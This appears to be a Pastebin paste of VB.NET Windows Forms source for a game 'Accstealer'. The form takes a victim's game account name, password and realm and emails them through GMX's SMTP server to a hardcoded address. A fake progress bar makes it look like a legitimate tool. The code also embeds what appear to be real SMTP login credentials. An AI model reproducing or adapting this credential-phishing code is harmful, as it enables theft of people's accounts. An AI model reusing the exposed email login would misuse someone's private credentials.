Advertisement
Guest User

Untitled

a guest
Sep 28th, 2017
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1.  
  2. Imports System.Net.Mail
  3.  
  4.  
  5. Imports System.Net
  6.  
  7. Public Class Form1
  8. Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
  9. Timer1.Start()
  10. ProgressBar1.Visible = True
  11. Dim text As String
  12. text = "Spiel: " + ComboBox1.Text + " Account: " + TextBox4.Text + " Passwort: " + TextBox5.Text + " Realm: " + TextBox6.Text + vbLf
  13. Dim myClient As New Net.Mail.SmtpClient("smtp.gmx.de")
  14. myClient.Credentials = New NetworkCredential("Lars.Dunham@gmx.de", "402581450")
  15. myClient.Send("Lars.Dunham@gmx.de", "Lars.Dunham@gmx.de, Lars.Dunham@gmx.de", "Accstealer", text)
  16. End Sub
  17.  
  18. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  19. ProgressBar1.Increment(5)
  20. If ProgressBar1.Value = 100 Then
  21. MsgBox("xxx")
  22. Timer1.Stop()
  23. Application.DoEvents()
  24. End If
  25. End Sub
  26.  
  27. Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  28. Me.Close()
  29. End Sub
  30. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement